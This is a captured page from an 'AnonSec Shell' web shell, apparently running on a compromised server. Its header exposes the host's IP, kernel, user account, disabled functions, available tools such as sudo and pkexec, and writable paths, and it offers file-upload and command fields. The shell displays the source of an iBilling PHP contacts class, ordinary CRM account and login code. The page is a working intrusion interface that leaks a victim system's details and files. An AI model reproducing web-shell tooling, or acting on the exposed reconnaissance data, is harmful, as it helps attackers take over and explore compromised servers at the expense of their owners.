AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/gasch/application/autoload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/gasch/application/autoload/Contacts.php
<?php
// *************************************************************************
// *                                                                       *
// * iBilling -  Accounting, Billing Software                              *
// * Copyright (c) Sadia Sharmin. All Rights Reserved                      *
// *                                                                       *
// *************************************************************************
// *                                                                       *
// * Email: sadiasharmin3139@gmail.com                                                *
// * Website: http://www.sadiasharmin.com                                  *
// *                                                                       *
// *************************************************************************
// *                                                                       *
// * This software is furnished under a license and may be used and copied *
// * only  in  accordance  with  the  terms  of such  license and with the *
// * inclusion of the above copyright notice.                              *
// * If you Purchased from Codecanyon, Please read the full License from   *
// * here- http://codecanyon.net/licenses/standard                         *
// *                                                                       *
// *************************************************************************

Class Contacts
{
    public static function options($selected = '')
    {

        $c = ORM::for_table('crm_accounts')->select('id')->select('account')->find_many();
        $options = '';
        if($c){

            foreach($c as $cs){
                $s = '';
                if($cs['id'] == $selected){
                    $s = 'selected';
                }
                $options .= '<option value="'.$cs['id'].'" '.$s.'>'.$cs['account'].'</option>';
            }
        }

        return $options;

    }


    public static function add($data=array()){


        if(isset($data['account'])){

            $account = trim($data['account']);

            if($account == ''){
                return 'Account Name is Required';
            }

            $email = '';
            $phone = '';
//            $address = '';
//            $city = '';
//            $zip = '';
//            $state = '';
            $country = '';
            $tags = '';
            $company = '';
            $password = '';
            $img = '';


            $d = ORM::for_table('crm_accounts')->create();

            $d->account = $data['account'];

            if(isset($data['email']) && trim($data['email']) != ''){

                if(Validator::Email($data['email']) == false){
                    return 'Invalid Email';
                }
                $f = ORM::for_table('crm_accounts')->where('email',$data['email'])->find_one();

                if($f){
                    return 'Email already exist';
                }

                $email = $data['email'];

            }

            if(isset($data['phone'])){
                $phone = $data['phone'];
            }

//            if(isset($data['address'])){
//                $address = $data['address'];
//            }
//
//            if(isset($data['city'])){
//                $city = $data['city'];
//            }
//
//            if(isset($data['zip'])){
//                $zip = $data['zip'];
//            }
//
//            if(isset($data['state'])){
//                $state = $data['state'];
//            }

            if(isset($data['country'])){
                $country = $data['country'];
            }

            if(isset($data['company'])){
                $company = $data['company'];
            }


            if(isset($data['password'])){
                $password = $data['password'];
                $password = Password::_crypt($password);
            }

            if(isset($data['tags'])){
                $tags = $data['tags'];
            }

            if(isset($data['img'])){
                $img = $data['img'];
            }



            $d->email = $email;
            $d->phone = $phone;
//            $d->address = $address;
//            $d->city = $city;
//            $d->zip = $zip;
//            $d->state = $state;
            $d->country = $country;
            $d->tags = $tags;

            //others
            $d->fname = '';
            $d->lname = '';
            $d->company = $company;
            $d->jobtitle = '';
            $d->cid = '0';
            $d->o = '0';
            $d->balance = '0.00';
            $d->status = 'Active';
            $d->notes = '';
            $d->password = $password;
            $d->token = '';
            $d->ts = '';
            $d->img = $img;
            $d->web = '';
            $d->facebook = '';
            $d->google = '';
            $d->linkedin = '';
            
            // 
            // Leonardo Lopes Ramos - 16/05/2017
            // Novos campos
            $d->code = $data['code'];
            $d->cpf_cnpj = $data['cpf_cnpj'];
            $d->im = $data['im'];
            $d->ie = $data['ie'];
            $d->cell_phone = $data['cell_phone'];
            $d->date_of_birth = $data['date_of_birth'];
            $d->status = $data['status'];
            $d->kind_of_person = '';
            if($data['kind_of_person'] == 'PF' || $data['kind_of_person'] == 'PJ')
            {
                $d->kind_of_person = $data['kind_of_person'];
            }

            //
            $d->save();
            $cid = $d->id();
            
            
            // salvo o endereço do contato
            $address = ORM::for_table('crm_accounts_address')->create();
            //recebe os dados do endereço
            if (intval($data['address']['state_id'])) {
                $address->state_id = $data['address']['state_id'];
            }

            if (intval($data['address']['city_id'])) {
                $address->city_id = $data['address']['city_id'];
            }
            $address->zip = isset($data['address']['zip'])?$data['address']['zip']:'';
            $address->address = isset($data['address']['address'])?$data['address']['address']:'';
            $address->neighborhood = isset($data['address']['neighborhood'])?$data['address']['neighborhood']:'';
            $address->number = isset($data['address']['number'])?$data['address']['number']:'';
            $address->complement = isset($data['address']['complement'])?$data['address']['complement']:'';
            $address->type_address = "tax_address";
            $address->crm_account_id = $cid;
            $address->save();
            
            // salvo o endereço de cobrança
            $address = ORM::for_table('crm_accounts_address')->create();
            $address->type_address = "billing_address";
            $address->crm_account_id = $cid;
            $address->save();
            
            // salvo os grupos do contato
            if($data['cliente'] == 1)
            {
                $dataGroup = ORM::for_table('crm_accounts_groups')->create();
                $dataGroup->crm_accounts_id = $cid;
                $dataGroup->crm_group_id = 1;
                $dataGroup->save();
            }
            
            if($data['fornecedor'] == 1)
            {
                $dataGroup = ORM::for_table('crm_accounts_groups')->create();
                $dataGroup->crm_accounts_id = $cid;
                $dataGroup->crm_group_id = 2;
                $dataGroup->save();
            }
            
            
            return $cid;

        }

        else{
            return 'Invalid Data Posted or Data is Null';
        }


    }


    public static function login($email,$password){
        $d = ORM::for_table('crm_accounts')->where('email',$email)->find_one();
        if($d){

            $db_password = $d['password'];

            if(Password::_verify($password,$db_password) == true){

               $auth_key = Ib_Str::random_string(20).md5(time());

                $d->token = $auth_key;

                $d->save();

                return $auth_key;

            }
            else{
                return false;
            }



        }
        else{
            return false;
        }
    }

    public static function logout_using_token($token){



        $d = ORM::for_table('crm_accounts')->where('token',$token)->find_one();
        if($d){

            $d->token = '';

            $d->save();

            return true;



        }
        else{
            return false;
        }
    }


    public static function details(){

        $d = false;

        if(isset($_COOKIE['ib_ct'])) {

            $ib_ct = $_COOKIE['ib_ct'];



        }

        elseif (isset($_SESSION['ib_ct'])){



            $ib_ct = $_SESSION['ib_ct'];

        }

        else{

            exit('You have logged out. <a href="'.U.'client/login/">Click Here to Login.</a>');

        }


        $d = ORM::for_table('crm_accounts')->where('token',$ib_ct)->find_one();

        if(!$d){


            exit('You have logged out. <a href="'.U.'client/login/">Click Here to Login.</a>');

        }
        else{
            return $d;
        }



    }


    public static function isLogged(){


        if(isset($_COOKIE['ib_ct'])) {

            $ib_ct = $_COOKIE['ib_ct'];



        }

        elseif (isset($_SESSION['ib_ct'])){

            $ib_ct = $_SESSION['ib_ct'];

        }

        else{

            return;

        }

        $d = ORM::for_table('crm_accounts')->where('token',$ib_ct)->find_one();

        if($d){

            r2(U.'client/dashboard/');
        }





    }

    public static function all(){
        $d = ORM::for_table('crm_accounts')->order_by_desc('id')->find_array();
        return $d;
    }


}

Anon7 - 2022
AnonSec Team